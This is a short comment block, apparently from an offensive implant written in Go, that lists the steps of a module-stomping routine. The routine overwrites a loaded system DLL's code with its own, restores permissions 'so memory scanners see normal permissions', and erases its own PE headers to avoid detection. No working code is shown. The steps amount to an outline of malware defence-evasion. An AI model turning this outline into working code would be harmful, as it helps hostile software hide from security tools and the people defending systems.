// 1. Walk PEB InMemoryOrderModuleList, match CryptoAPI/dwrite/msvcp_win (case-insensitive).
// 2. Parse our PE headers to locate .text VirtualAddress + VirtualSize.
// 3. NtProtectVirtualMemory(target, RWX) — make target DLL writable.
// 4. memcpy — copy our .text bytes into target's image range.
// 5. NtProtectVirtualMemory(target, RX) — restore so memory scanners see normal permissions.
// 6. Zero our DOS header + NT headers — can't find what you can't parse.
//    our_base comes from Go's reflective loader, not PEB — we mapped ourselves.
